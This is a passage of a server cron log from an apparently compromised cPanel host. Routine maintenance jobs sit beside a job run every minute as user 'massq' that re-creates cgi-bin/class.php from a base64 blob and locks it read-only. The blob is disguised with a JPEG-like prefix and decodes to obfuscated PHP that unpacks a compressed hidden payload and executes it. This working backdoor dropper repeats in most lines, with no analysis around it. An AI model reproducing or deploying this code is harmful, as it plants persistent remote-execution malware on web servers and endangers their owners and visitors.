tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:46:01 server CROND[22631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:46:01 server CROND[22632]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:46:01 server CROND[22633]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:47:01 server CROND[23269]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:47:01 server CROND[23270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:47:01 server CROND[23271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:48:01 server CROND[23643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:48:01 server CROND[23644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:48:01 server CROND[23645]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:49:01 server CROND[24021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:49:01 server CROND[24022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:49:01 server CROND[24023]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:50:02 server CROND[24397]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 21:50:02 server CROND[24399]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 21:50:02 server CROND[24403]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 21:50:02 server CROND[24400]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 21:50:02 server CROND[24402]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 21:50:02 server CROND[24401]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 21:50:02 server CROND[24407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:50:02 server CROND[24404]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:50:02 server CROND[24405]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:51:01 server CROND[25234]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:51:01 server CROND[25235]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:51:01 server CROND[25236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:52:01 server CROND[25599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:52:01 server CROND[25601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:52:01 server CROND[25602]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:53:01 server CROND[25965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:53:01 server CROND[25966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:53:01 server CROND[25967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:54:01 server CROND[26331]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:54:01 server CROND[26332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:54:01 server CROND[26333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:55:01 server CROND[26704]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 21:55:01 server CROND[26706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:55:01 server CROND[26709]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 21:55:01 server CROND[26708]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:55:01 server CROND[26710]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 21:55:01 server CROND[26711]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 21:55:01 server CROND[26712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:56:01 server CROND[27519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:56:01 server CROND[27520]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:56:01 server CROND[27521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:57:01 server CROND[27999]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 21:57:01 server CROND[28000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:57:01 server CROND[28001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:57:01 server CROND[28002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:58:02 server CROND[28376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:58:02 server CROND[28377]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
